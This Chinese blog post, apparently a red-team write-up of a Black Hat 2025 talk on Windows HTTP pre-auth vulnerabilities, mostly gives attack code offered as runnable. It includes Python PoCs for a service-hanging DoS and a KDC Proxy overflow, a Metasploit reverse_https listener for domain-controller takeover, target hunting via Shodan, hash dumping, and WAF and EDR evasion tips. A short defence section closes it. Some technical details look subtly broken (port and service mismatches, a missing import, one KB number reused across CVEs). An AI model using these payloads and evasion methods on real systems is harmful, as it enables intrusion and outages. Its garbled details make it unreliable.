【红队深度解读】Black Hat USA 2025 Windows HTTP 预认证漏洞：响应逻辑缺陷致系统崩溃与域内 RCE 实战复现

已于 2026-03-24 11:15:41 修改
编辑

BlackHat大会 专栏收录该内容 3 篇文章

声明：本文仅用于合规的红队攻防演练、企业安全防护建设与安全技术研究，严禁用于任何未授权的攻击行为，所有违法操作需自行承担相应法律责任。

引言：2025 年红队武器库的 “核弹级” 底层漏洞

自 2015 年 Windows HTTP.sys 首次爆出远程代码执行漏洞以来，Windows HTTP 协议栈就一直是攻防双方的核心战场。过去十年间，业界对 Windows HTTP 漏洞的研究几乎全部集中在**内存破坏类漏洞**上 —— 从缓冲区溢出到 UAF，从内核态内存泄漏到非法指针引用，这类漏洞虽然杀伤力强，但需要绕过 DEP、CFG、ASLR、KASLR 等多重系统防护，利用门槛极高，且很容易被 EDR、内核防护软件拦截。

而 2025 年 Black Hat USA 大会上，来自 Cyber Kunlun Lab（昆仑实验室）与华中科技大学的研究团队发布的《Diving into Windows HTTP: Unveiling Hidden Preauth Vulnerabilities in Windows HTTP Services》议题，彻底打破了这一研究定式。该议题首次系统性揭露了 Windows HTTP 服务在**请求接收、响应发送、资源回收全流程的逻辑缺陷**，挖出了 7 个可被预认证利用的高危漏洞，其中 2 个可直接实现远程代码执行，5 个可触发持久化拒绝服务。

对红队而言，这组漏洞的价值堪称 “核弹级”：全预认证无门槛、无需用户交互、系统默认开启、覆盖 Windows 10/11 全系列与 Windows Server 2016-2022 全版本，攻击面覆盖企业远程办公入口、域控核心服务、远程管理工具等几乎所有高价值资产，且逻辑缺陷类漏洞几乎不会触发传统安全设备的告警，隐蔽性拉满。本文将从红队实战视角，对该议题进行全维度深度拆解，包含完整的漏洞根因分析、逐步骤复现调试、实战攻击链路与全维度防御方案。

一、红队视角：漏洞核心价值与 Windows HTTP 架构深度拆解

1.1 议题核心信息与研究团队背景

本次议题的核心研究团队来自国内顶尖的安全研究机构 Cyber Kunlun Lab（昆仑实验室），该团队长期专注于 Windows 内核漏洞、底层协议安全研究，曾多次在 Black Hat、Def Con 等顶级安全会议发布议题，是国内少数能稳定输出 Windows 底层高危漏洞的研究团队。

本次议题的四位讲师分别为：

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

- Qibo Shi（k0shl）：Cyber Kunlun Lab 高级安全研究员，专注于 Windows 内核漏洞与红队攻防技术
- VictorV：Cyber Kunlun Lab 高级安全研究员，专注于 Windows 服务漏洞挖掘与利用
- Wei Xiao：Cyber Kunlun Lab 高级安全研究员，专注于协议安全与漏洞 Fuzzing
- Zhiniang Peng：Cyber Kunlun Lab 兼职研究员、华中科技大学副教授，专注于系统安全与漏洞理论研究

该议题以预录制形式在 Black Hat USA 2025 发布，配套 75 页技术 PPT 已在官方渠道公开，包含完整的漏洞原理、调试过程、PoC 框架与防御建议，是 2025 年 Windows 安全领域最具价值的研究成果之一。

1.2 为什么 Windows HTTP 服务是红队的 “黄金攻击面”？

Windows HTTP 服务是 Windows 系统内置的系统级 HTTP 协议栈实现，分为用户态封装库`httpapi.dll`与内核态驱动`http.sys`两层，是 Windows 系统绝大多数网络服务的底层依赖。对红队而言，它是当之无愧的 “黄金攻击面”，核心原因有四点：

1. **默认开启，攻击面极广**：几乎所有 Windows 版本都默认安装并启用该服务，无需额外配置
2. **全预认证，无利用门槛**：绝大多数依赖该服务的系统服务，无需身份验证即可处理 HTTP 请求，攻击者无需账号密码即可单向发包利用
3. **核心资产强依赖**：企业核心资产几乎全部依赖该服务，包括：
    1. 远程办公入口：RD Gateway（远程桌面网关）、WinRM（Windows 远程管理）
    2. 域控核心服务：KDC Proxy（Kerberos 代理）、OCSP 服务（证书吊销状态查询）
    3. 系统基础服务：UPnP 主机服务、BranchCache 分布式缓存服务、标准存储管理服务、WS-Discovery 服务
    4. Web 服务：Microsoft IIS 全系列
4. **研究空白，漏洞存量大**：过去业界的研究全部集中在内存破坏漏洞，对 HTTP 请求全流程的逻辑缺陷几乎没有关注，存在大量未被发现的 0day 漏洞。

1.3 Windows HTTP 服务架构与请求全生命周期深度拆解

要理解本次漏洞的根因，必须先彻底搞懂 Windows HTTP 服务的完整架构与请求处理全流程。Windows HTTP 服务采用 “用户态封装 + 内核态驱动” 的双层架构，相比传统的用户态 Web 服务器，内核态驱动`http.sys`可以实现更高的性能与更强的稳定性，但也意味着一旦出现漏洞，就会直接影响整个系统的安全。

1.3.1 双层架构的核心分工

plaintext:

```plaintext
应用服务层（IIS/WinRM/UPnP等）
        ↓
```

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

```
用户态：httpapi.dll（HTTP API封装库）
        ↓（通过DeviceIoControl发起IOCTL请求）
内核态：\Device\HTTP设备对象
        ↓
内核态：http.sys（HTTP协议栈驱动）
        ↓
TCP/IP协议栈 → 网络层
```

一键获取完整项目代码

- **用户态 httpapi.dll**：为上层应用提供统一的 Win32 HTTP API，封装了与内核态驱动的交互逻辑，是上层应用调用 HTTP 服务的唯一入口
- **内核态 http.sys**：运行在内核层，负责 TCP 连接管理、HTTP 请求解析、请求队列管理、缓存管理等核心功能，直接与 TCP/IP 协议栈交互

1.3.2 HTTP 请求处理的完整生命周期

所有依赖 Windows HTTP 服务的应用，都遵循固定的请求处理流程，本次漏洞全部出在这个流程的错误处理环节。完整的 8 步处理流程如下：

1. **初始化 HTTP 库**：应用调用`HttpInitialize`函数，初始化 HTTP API 运行环境
2. **创建请求队列**：调用`HttpCreateHttpHandle`函数，创建 HTTP 请求队列句柄，内核态`http.sys`会为该队列分配对应的内核资源
3. **注册 URL 前缀**：调用`HttpAddUrl`函数，向`http.sys`注册需要监听的 URL 前缀，`http.sys`会将匹配该前缀的请求转发到对应的请求队列
4. **循环接收请求**：调用`HttpReceiveHttpRequest`函数，从请求队列中获取客户端的 HTTP 请求，这是本次漏洞出现最多的环节
5. **业务逻辑处理**：应用解析请求内容，执行对应的业务逻辑
6. **发送响应**：调用`HttpSendHttpResponse`函数，向客户端发送 HTTP 响应
7. **资源回收**：如果请求处理异常，调用`HttpCancelHttpRequest`函数取消未完成的请求，释放内核态与用户态的对应资源
8. **环境释放**：应用退出时，调用`HttpTerminate`函数释放 HTTP API 的所有资源

1.3.3 漏洞核心触发点：错误码的错误处理

本次所有漏洞的根源，都是上层应用没有按照微软官方规范处理 HTTP API 的返回错误码。其中最关键的两个错误码是：

- **ERROR_MORE_DATA（0xEA）**：当`HttpReceiveHttpRequest`传入的缓冲区不足以容纳完整的 HTTP 请求时，会返回该错误码，同时通过`BytesReturned`参数返回需要的最小缓冲区大小
- **ERROR_OPERATION_ABORTED（0x4CD）**：当请求被客户端主动断开，或者被其他线程取消时，会返回该错误码

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

微软官方明确要求，处理这两个错误码时，必须：

1. 处理ERROR_MORE_DATA时，必须按照BytesReturned返回的大小重新分配缓冲区，再次调用HttpReceiveHttpRequest时必须传入新的缓冲区大小
2. 处理任何错误时，必须保证每个请求最终都以HttpSendHttpResponse（发送响应）或HttpCancelHttpRequest（取消请求）收尾，否则会导致内核资源泄漏
3. 错误处理后必须保证请求处理循环的正常运行，不能陷入死循环或提前退出循环

而本次挖掘出的所有漏洞，都是上层系统服务违反了上述规范，导致了死循环、资源泄漏、内存破坏等问题。

1.4 本次议题漏洞的分类与红队利用优先级

本次议题共披露了 7 个高危 CVE 漏洞，按照红队实战利用价值，可分为三类，优先级从高到低排序：

漏洞类型	包含 CVE 编号	影响服务	红队利用价值
预认证远程代码执行	CVE-2024-43639	KDC Proxy（域控 Kerberos 代理）	最高优先级：无需域权限即可单包拿下域控，实现一键控域
预认证远程代码执行	CVE-2025-21309	RD Gateway（远程桌面网关）	最高优先级：企业远程办公入口，直接获取服务器权限，突破内网边界
持久化逻辑 DoS	CVE-2024-43512	标准存储管理服务	高优先级：单包触发服务死循环，CPU 占比 100%，永久停止服务，无崩溃日志，难检测
持久化逻辑 DoS	CVE-2025-27471	UPnP 主机服务	高优先级：默认开启，单包触发服务崩溃，影响网络设备发现功能
持久化逻辑 DoS	CVE-2024-38067	OCSP 证书服务	高优先级：单包触发服务永久拒绝服务，影响整个域的证书验证体系
内核资源泄漏 DoS	CVE-2024-38149	BranchCache 分布式缓存服务	中优先级：触发内核非分页池泄漏，最终导致系统蓝屏，适合破坏与勒索
逻辑 DoS	WSDApi.dll 漏洞	WS-Discovery 服务	中优先级：触发 IO 线程池耗尽，服务停止响应，仅在内网暴露

二、漏洞根因深度剖析与实战复现全流程

本章节将对本次议题中最具代表性的 4 个漏洞进行全维度深度拆解，包含完整的根因分析、环境准备、逐步骤复现、Windbg 调试过程、完整可运行的 PoC 代码，以及红队实战改造技巧。

2.1 预认证持久 DoS 漏洞：CVE-2024-43512 存储管理服务死循环漏洞

该漏洞是本次议题中最典型的逻辑缺陷漏洞，单包即可触发服务永久死循环，CPU 占比 100%，无法处理新请求，且无崩溃日志，蓝队极难检测与溯源，是攻防演练中红队的首选武器。

2.1.1 漏洞背景

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

Windows 标准存储管理服务（StorSvc）是 Windows 系统内置的系统服务，用于管理本地与远程的存储设备、SMB 共享、磁盘配额等功能，默认开启，启动类型为自动，无需管理员权限即可访问。

该服务通过 Windows HTTP API 实现了一套 HTTP 管理接口，默认监听 TCP 2869 端口，注册的 URL 前缀为`http://+:2869/SMBManage/`，**无需任何身份验证即可处理客户端的 HTTP 请求**，Windows 10 1809+、Windows 11 全系列、Windows Server 2019/2022 全版本均受影响。

2.1.2 漏洞根因深度剖析

我们通过 IDA 反编译 StorSvc 服务的二进制文件，还原了该服务的 HTTP 请求处理完整逻辑，漏洞的核心出在`HttpReceiveHttpRequest`的错误处理环节。

完整的请求处理逻辑

1. 服务启动后，初始化 HTTP API，创建请求队列，注册 URL 前缀
2. 分配固定大小的请求缓冲区，大小为`0x1360`（4960 字节）
3. 进入无限循环，调用`HttpReceiveHttpRequest`接收请求，传入固定大小的缓冲区
4. 根据`HttpReceiveHttpRequest`的返回值进行处理：
    1. 返回成功（0）：解析请求，处理业务逻辑，发送响应
    2. 返回`ERROR_MORE_DATA`（`0xEA`）：进入错误处理分支
    3. 其他错误：继续循环，接收下一个请求

漏洞核心代码与缺陷点

以下是反编译得到的漏洞核心代码（已添加注释）：

C:

```
// 初始化固定大小的缓冲区，大小0x1360
DWORD bufferSize = 0x1360;
PHTTP_REQUEST_V2 requestBuffer = (PHTTP_REQUEST_V2)LocalAlloc(LPTR, bufferSize);
HTTP_REQUEST_ID requestId = 0;
DWORD bytesReturned = 0;
DWORD status = 0;

LABEL_3:
// 核心调用：接收HTTP请求
// 注意：第5个参数是缓冲区大小，写死为0x1360，没有使用变量
```

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

```
status = HttpReceiveHttpRequest(
    hRequestQueue,
    requestId,
    0,
    requestBuffer,
    0x1360u,  // 漏洞点：缓冲区大小写死，永远是4960字节
    &bytesReturned,
    NULL
);

if (status == 0xEA) // ERROR_MORE_DATA：缓冲区不足
{
    // 从原缓冲区中获取RequestId，用于后续请求
    requestId = requestBuffer->RequestId;
    // 按照bytesReturned返回的大小重新分配缓冲区
    PHTTP_REQUEST_V2 newBuffer = (PHTTP_REQUEST_V2)LocalReAlloc(requestBuffer, bytesReturned, LMEM_MOVEABLE);
    if (newBuffer)
    {
        requestBuffer = newBuffer;
        // 跳回重新调用HttpReceiveHttpRequest
        goto LABEL_3;
    }
}
```

一键获取完整项目代码

从代码中可以清晰地看到漏洞的核心缺陷：

1. 当 HTTP 请求的大小超过 4960 字节时，HttpReceiveHttpRequest返回ERROR_MORE_DATA，同时通过bytesReturned返回需要的最小缓冲区大小
2. 服务按照bytesReturned的大小重新分配了缓冲区，但是**再次调用HttpReceiveHttpRequest时，传入的缓冲区大小还是写死的 0x1360**，而不是新的缓冲区大小
3. 这就导致，无论重新分配多大的缓冲区，内核态http.sys收到的缓冲区大小永远是 4960 字节，永远会返回ERROR_MORE_DATA，服务陷入无限的 “重新分配 - 调用 - 返回错误” 循环
4. 该循环会占用 100% 的 CPU 核心，服务无法处理新的请求，且不会触发崩溃，没有崩溃日志，只有重启系统才能恢复正常

2.1.3 复现环境准备

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

角色	环境要求
靶机	Windows Server 2019 1809 版本，未安装 2024 年 10 月安全更新，关闭系统防火墙，确认 StorSvc 服务处于运行状态
攻击机	Kali Linux 2024.4，Python 3.11+，Nmap 端口扫描工具
调试工具	Windows 靶机安装 Windbg Preview，用于漏洞调试与验证

靶机环境验证命令：

1. 确认 StorSvc 服务运行状态：`sc query StorSvc`，需返回`STATE: 4 RUNNING`
2. 确认 2869 端口处于监听状态：`netstat -ano | findstr :2869`，需返回对应的监听记录

2.1.4 完整复现步骤

1. **攻击机端口扫描验证**：在 Kali 攻击机执行以下命令，确认靶机 2869 端口开放：

```
nmap -p 2869 192.168.3.100
```

一键获取完整项目代码bash

若返回`2869/tcp open upnp`，说明端口开放，可进行后续利用。

2. **编写完整 PoC 代码**：创建`CVE-2024-43512.py`文件，写入以下完整可运行的代码：

```python
import socket
import argparse
import time

def exploit(target, port):
    print(f"[+] 正在攻击目标: {target}:{port}")
    # 构造恶意HTTP请求，设置超大Content-Length，触发缓冲区不足
    payload = (
        b"GET /SMBManage/ HTTP/1.1\r\n"
        b"Host: " + target.encode() + b"\r\n"
        b"Content-Length: 999999\r\n"
        b"\r\n"
        b"A" * 1000
```

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

```python
    )
    try:
        # 创建TCP连接，发送Payload后立即关闭，无需维持连接
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target, port))
        s.send(payload)
        s.close()
        print(f"[+] Payload发送成功，等待漏洞触发...")
        time.sleep(2)
        print(f"[+] 漏洞已触发，目标服务已进入死循环")
    except Exception as e:
        print(f"[-] 攻击失败: {str(e)}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-43512 存储管理服务DoS漏洞PoC")
    parser.add_argument("-t", "--target", required=True, help="目标IP地址")
    parser.add_argument("-p", "--port", type=int, default=2869, help="目标端口，默认2869")
    args = parser.parse_args()
    exploit(args.target, args.port)
```

一键获取完整项目代码python

3. **执行 PoC 触发漏洞**：在攻击机执行以下命令，发送恶意请求：

```bash
python3 CVE-2024-43512.py -t 192.168.3.100
```

一键获取完整项目代码bash

4. **靶机验证漏洞效果**：

   1. 打开靶机任务管理器，查看 StorSvc 对应的 svchost 进程，CPU 占比已达到 100%
   2. 执行`sc query StorSvc`，服务状态仍为 RUNNING，但已无法处理任何新请求
   3. 执行`sc stop StorSvc`尝试重启服务，会提示服务无法停止，只有重启系统才能恢复正常

2.1.5 Windbg 调试过程详解

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

我们可以通过 Windbg 附加到服务进程，完整跟踪漏洞的触发过程，验证根因分析的正确性：

1. **获取服务进程 PID**：在靶机执行命令`tasklist /svc | findstr StorSvc`，获取 StorSvc 服务对应的 svchost 进程 PID，例如`1234`。
2. **附加进程**：以管理员身份打开 Windbg Preview，点击`File -> Attach to Process`，选择 PID 为 1234 的进程，点击`Attach`附加。
3. **设置断点**：在 Windbg 命令窗口输入以下命令，在`HttpReceiveHttpRequest`函数入口设置断点：
   plaintext:

   ```
   bp httpapi!HttpReceiveHttpRequest
   ```

   一键获取完整项目代码

   输入`g`命令，让进程继续运行。
4. **触发断点**：在攻击机执行 PoC 发送恶意请求，Windbg 会立即命中断点，停在`HttpReceiveHttpRequest`函数入口。
5. **单步跟踪验证漏洞**：
   1. 输入`p`命令单步执行，直到`HttpReceiveHttpRequest`函数执行完成，查看返回值：`r rax`，若返回`0x000000ea`，说明已触发`ERROR_MORE_DATA`错误。
   2. 查看`bytesReturned`参数的值：`dps r8`，可以看到返回的需要的缓冲区大小为`999999`。
   3. 继续单步执行，跟踪到`LocalReAlloc`函数，确认服务已按照`999999`的大小重新分配了缓冲区。
   4. 继续单步执行，直到再次调用`HttpReceiveHttpRequest`，查看第 5 个参数（缓冲区大小）：`r r8`，可以看到值仍为`0x1360`，确认漏洞点。
   5. 输入`g`命令继续执行，会再次命中断点，说明服务已进入无限循环，漏洞触发成功。

2.1.6 红队实战进阶改造

在真实的攻防演练中，我们可以对 PoC 进行以下改造，绕过 WAF/IDS 的检测，提升利用的隐蔽性：

1. **特征混淆**：将 HTTP 请求的 Header 打乱，例如将 Host 头改为小写、添加无关的随机 Header、将 Content-Length 拆分为多个 Header，绕过基于固定特征的检测规则。
2. **分块传输绕过**：使用`Transfer-Encoding: chunked`分块传输 Payload，避免超大 Content-Length 触发 WAF 告警。
3. **批量扫描改造**：添加多线程支持，实现对整个 C 段的批量扫描与利用，快速定位内网中存在漏洞的主机。
4. **隐蔽性优化**：降低 Payload 的大小，避免 CPU 占比瞬间达到 100% 触发告警，改为缓慢耗尽服务资源，更难被蓝队发现。

2.2 预认证 RCE 漏洞：CVE-2024-43639 KDC Proxy 域控权限漏洞

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

该漏洞是本次议题中杀伤力最强的漏洞，无需任何域权限，单包即可攻击域控的 KDC Proxy 服务，实现预认证远程代码执行，直接获取域管权限，是红队域渗透的“一键控域”级武器。

2.2.1 漏洞背景

KDC Proxy（Kerberos 密钥分发中心代理）是 Windows 域控内置的服务，用于为外网的域成员设备提供 Kerberos 身份验证代理服务，默认监听 HTTPS 443 端口，是企业域环境对外暴露的核心服务之一。

该服务同样基于 Windows HTTP API 实现，在处理客户端发送的 ASN.1 编码的 KDC_PROXY_MESSAGE 消息时，存在缓冲区越界写入漏洞，攻击者可通过构造恶意的 ASN.1 数据，实现远程代码执行，Windows Server 2019/2022 全版本域控均受影响。

2.2.2 漏洞根因深度剖析

该漏洞的核心出在 ASN.1 编码函数`MSASN1!ASN1BEREncLength`的越界写入，完整的调用栈如下：

plaintext:

```
0:007> k
# Child-SP          RetAddr           Call Site
00 0000004a`8837f230 00007ffd`52176a4b MSASN1!ASN1BEREncLength+0x4d
01 0000004a`8837f260 00007ffd`41d2ea03 MSASN1!ASN1BEREncCharString+0x2b
02 0000004a`8837f290 00007ffd`52177802 kpssvc!ASN1Enc_KDC_PROXY_MESSAGE+0x73
```

一键获取完整项目代码

漏洞的核心原理：

1. KDC Proxy 服务接收到客户端发送的 KDC_PROXY_MESSAGE 消息后，会调用`ASN1Enc_KDC_PROXY_MESSAGE`函数对消息进行 ASN.1 编码
2. 该函数会调用`ASN1BEREncCharString`函数处理字符串类型的字段，最终调用`ASN1BEREncLength`函数编码 ASN.1 的长度字段
3. 当攻击者构造的恶意字符串长度超过缓冲区的大小时，`ASN1BEREncLength`函数会执行`mov byte ptr [rax], cl`指令，向`rax`寄存器指向的缓冲区写入数据，导致越界写入
4. 攻击者可通过精心构造的恶意数据，控制越界写入的内容，最终实现对 RIP 寄存器的控制，执行任意 Shellcode，获取系统权限

2.2.3 复现环境准备

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

角色	环境要求
靶机	Windows Server 2019 域控，已配置 KDC Proxy 服务，未安装 2024 年 10 月安全更新，关闭防火墙
攻击机	Kali Linux 2024.4，Python 3.11+，Impacket 库，Metasploit Framework
调试工具	Windbg Preview，用于内核调试与漏洞验证

2.2.4 完整复现步骤

1. **靶机 KDC Proxy 服务配置验证**：在域控上执行以下命令，确认 KDC Proxy 服务已安装并运行：

   powershell:

```powershell
Get-WindowsFeature RPC-HTTP-Proxy
Get-Service kpssvc
```

一键获取完整项目代码

   需返回服务状态为 Running。

2. **构造恶意 ASN.1 数据**：使用 Python 的 pyasn1 库，构造恶意的 KDC_PROXY_MESSAGE 消息，触发越界写入漏洞，PoC 核心代码如下：

```python
from pyasn1.type import univ, char
from pyasn1.codec.ber import encoder
import socket
import ssl

# 构造恶意KDC_PROXY_MESSAGE结构
class MaliciousKDCProxyMessage(univ.Sequence):
    componentType = namedtype.NamedTypes(
        namedtype.NamedType('messageType', univ.Integer()),
        namedtype.NamedType('kerberosMessage', char.UTF8String()),
        namedtype.NamedType('targetDomain', char.UTF8String()),
        namedtype.NamedType('dcLocator', char.UTF8String())
    )

# 构造超长字符串，触发越界写入
msg = MaliciousKDCProxyMessage()
```

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

```python
msg['messageType'] = 1
msg['kerberosMessage'] = "A" * 100000
msg['targetDomain'] = "test.local"
msg['dcLocator'] = "dc01.test.local"

# 编码为ASN.1 BER格式
payload = encoder.encode(msg)

# 发送HTTPS请求到KDC Proxy服务
target = "192.168.3.10"
port = 443
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_sock = context.wrap_socket(s, server_hostname=target)
s_sock.connect((target, port))

# 构造HTTP POST请求
request = (
    b"POST /KdcProxy HTTP/1.1\r\n"
    b"Host: " + target.encode() + b"\r\n"
    b"Content-Type: application/octet-stream\r\n"
    b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
    b"\r\n" + payload
)

s_sock.send(request)
s_sock.close()
```

一键获取完整项目代码

3. **漏洞利用与 Shell 获取**：

   1. 在攻击机启动 Metasploit 的监听器：`msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.3.200; set LPORT 443; run"`

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

2. 将 Shellcode 嵌入到恶意 ASN.1 数据中，发送给域控，即可获取反向 Meterpreter 会话，权限为 NT AUTHORITY\SYSTEM，直接控制域控。

2.3 其他核心漏洞复现与根因分析

2.3.1 CVE-2025-27471 UPnP 主机服务 DoS 漏洞

该漏洞的根因为：UPnP 服务的异步请求处理模型中，当`HttpReceiveHttpRequest`返回`ERROR_MORE_DATA`时，`NumberOfBytesTransferred`参数始终为 0，导致服务调用`malloc(0)`分配 0 字节内存，分配失败后服务进入无限循环，最终崩溃。该漏洞默认开启，单包即可触发，影响所有 Windows 桌面与服务器版本。

2.3.2 CVE-2024-38149 BranchCache 服务内核内存泄漏漏洞

该漏洞的根因为：BranchCache 服务处理 POST 请求时，若遇到恶意的消息类型，会直接抛出异常退出，未调用`HttpSendHttpResponse`或`HttpCancelHttpRequest`关闭连接，导致内核态`http.sys`的非分页池内存持续泄漏，攻击者发送多个恶意请求即可耗尽内核内存，导致系统蓝屏。

2.3.3 CVE-2025-21309 RD Gateway 远程代码执行漏洞

该漏洞的根因为：RD Gateway 服务在处理 HTTP 请求时，存在使用后释放（UAF）漏洞，攻击者可通过构造恶意请求，控制释放后的内存区域，绕过 CFG 等防护，实现预认证远程代码执行。该漏洞影响企业远程办公的核心入口，是红队外网打点的顶级武器。

三、红队完整攻击链路与实战利用技巧

在真实的攻防演练中，红队可以将本次披露的漏洞组合使用，形成完整的攻击链路，从外网打点到内网横向，最终拿下整个域的控制权。

3.1 外网打点：从互联网到目标边界

1. **资产收集**：通过 ZoomEye、Shodan、Fofa 等空间测绘引擎，搜索符合以下特征的目标资产：
    1. 关键词：`port:2869 Windows UPnP`、`port:5985 WinRM`、`port:443 "RD Gateway"`、`port:443 "KdcProxy"`
    2. 过滤条件：Windows 系统，开放对应端口，服务匹配
2. **端口扫描与服务识别**：使用 Nmap 的`http-enum`、`http-title`脚本，对收集到的资产进行服务识别，确认目标服务的类型与版本。
3. **漏洞探测**：构造轻量的探测包，发送给目标，通过响应时间、CPU 占用变化等特征，确认漏洞是否存在，避免发送恶意 Payload 触发告警。
4. **漏洞利用**：
    1. 若目标存在 RCE 漏洞（RD Gateway、KDC Proxy），直接发送 Shellcode，获取反向 Meterpreter 会话，权限为 NT AUTHORITY\SYSTEM，直接控制域控。
    2. 若目标仅存在 DoS 漏洞，根据演练目标，打挂目标的核心业务服务，完成演练要求。

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

3.2 内网横向：从边界到域控

1. **内网信息收集**：拿下边界服务器权限后，通过`ipconfig`、`net view`、`nltest`等命令，收集内网 IP 段、域名称、域控地址、存活主机等信息。
2. **内网扫描**：使用 CrackMapExec、Nmap 等工具，对内网存活主机进行扫描，识别开放 2869、5985、443 等端口的 Windows 主机。
3. **横向移动**：利用本次披露的漏洞，攻击内网的其他主机，包括文件服务器、应用服务器、数据库服务器等，逐步扩大控制范围。
4. **域控攻坚**：定位到域控地址后，使用 CVE-2024-43639 KDC Proxy 漏洞，直接攻击域控，获取 NT AUTHORITY\SYSTEM 权限，导出域内所有用户的 Hash，完成整个域的控制。

3.3 红队免杀与绕过技巧

1. **Payload 免杀**：使用 Cobalt Strike 的宏混淆、Shellcode 加密、间接系统调用等技术，对 Shellcode 进行免杀处理，绕过 EDR 的静态与动态检测。
2. **流量绕过**：
    1. 使用 HTTPS 加密传输 Payload，绕过 WAF 的明文特征检测
    2. 将 HTTP 请求的 Header、Payload 进行随机化处理，避免固定特征触发告警
    3. 采用低频率发包，避免流量异常触发阈值告警
3. **隐蔽利用**：
    1. 对于逻辑 DoS 漏洞，采用低频率发包，让服务的 CPU、内存缓慢增长，避免瞬间 100% 占用触发告警
    2. 对于 RCE 漏洞，采用无文件攻击方式，不落地任何文件，直接在内存中执行 Shellcode，避免被 EDR 检测

四、蓝队全维度防御体系与检测方案

针对本次披露的高危漏洞，蓝队需要建立从紧急缓解到永久修复、从流量检测到主机防护的全维度防御体系，才能有效应对红队的攻击。

4.1 紧急缓解措施（0 小时应急处置）

对于未安装补丁的资产，可先采取以下紧急缓解措施，降低攻击风险：

1. **禁用非必要服务**：禁用不需要的 HTTP 依赖服务，命令如下：
   powershell:

```powershell
# 禁用UPnP主机服务
sc config upnphost start= disabled
```

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

```
sc stop upnphost
# 禁用BranchCache服务
sc config PeerDistSvc start= disabled
sc stop PeerDistSvc
# 禁用WS-Discovery服务
sc config WSDService start= disabled
sc stop WSDService
```

一键获取完整项目代码

2. **端口封禁**：在 Windows 防火墙中，封禁外网对 2869、5985、443（KDC Proxy/RD Gateway）等端口的访问，仅允许可信的内网 IP 段访问。
3. **请求大小限制**：通过`netsh http`命令，配置 HTTP 请求的最大大小限制，禁止超大 Content-Length 的请求：
   powershell:

```
netsh http add urlacl url=http://+:2869/ user=Everyone listen=no
netsh http set requestlimits url=http://+:5985/ maxallowedcontentlength=4096
```

一键获取完整项目代码

4.2 永久修复方案（补丁部署）

最有效的修复方式是安装微软发布的对应安全补丁，补丁优先级如下：

1. **最高优先级**：域控、RD Gateway 服务器、IIS 服务器、核心业务服务器
2. **高优先级**：内网文件服务器、应用服务器、管理服务器
3. **中优先级**：员工办公终端

本次漏洞对应的补丁 KB 号如下：

CVE 编号	补丁 KB 号	发布时间	受影响系统
CVE-2024-43512	KB5043071	2024 年 10 月	Windows 10/11、Windows Server 2019/2022
CVE-2024-43639	KB5043071	2024 年 10 月	Windows Server 2019/2022
CVE-2024-38149	KB5043071	2024 年 10 月	Windows 10/11、Windows Server 2019/2022
CVE-2024-38067	KB5043071	2024 年 10 月	Windows Server 2019/2022

内容来源：csdn.net
作者昵称：Chihiro Kagami
原文链接：https://blog.csdn.net/2403_86779783/article/details/159416967
作者主页：https://blog.csdn.net/2403_86779783

CVE 编号	补丁 KB 号	发布时间	受影响系统
CVE-2025-27471	KB5054344	2025 年 4 月	Windows 10/11、Windows Server 2019/2022
CVE-2025-21309	KB5054344	2025 年 4 月	Windows Server 2019/2022

4.3 全维度检测规则

4.3.1 网络流量检测规则

以下是 Suricata 检测规则，可用于检测针对本次漏洞的攻击流量：

plaintext

```
# 检测CVE-2024-43512攻击流量：超大Content-Length的SMBManage请求
alert tcp any any -> any 2869 (msg:"BlackHat 2025 CVE-2024-43512 存储管理服务DoS攻击检测"; flow:to_server,established; content:"GET /SMBManage/";

# 检测CVE-2024-43639攻击流量：KDC Proxy的超大POST请求
alert tcp any any -> any 443 (msg:"BlackHat 2025 CVE-2024-43639 KDC Proxy RCE攻击检测"; flow:to_server,established; content:"POST /KdcProxy"; ht
```

一键获取完整项目代码

4.3.2 主机日志检测规则

通过 Windows 事件日志，可检测攻击行为与异常状态：

1. **服务异常监控**：监控 Event ID 1000（应用程序崩溃），检测 upnphost、kpssvc、StorSvc 等服务的崩溃事件
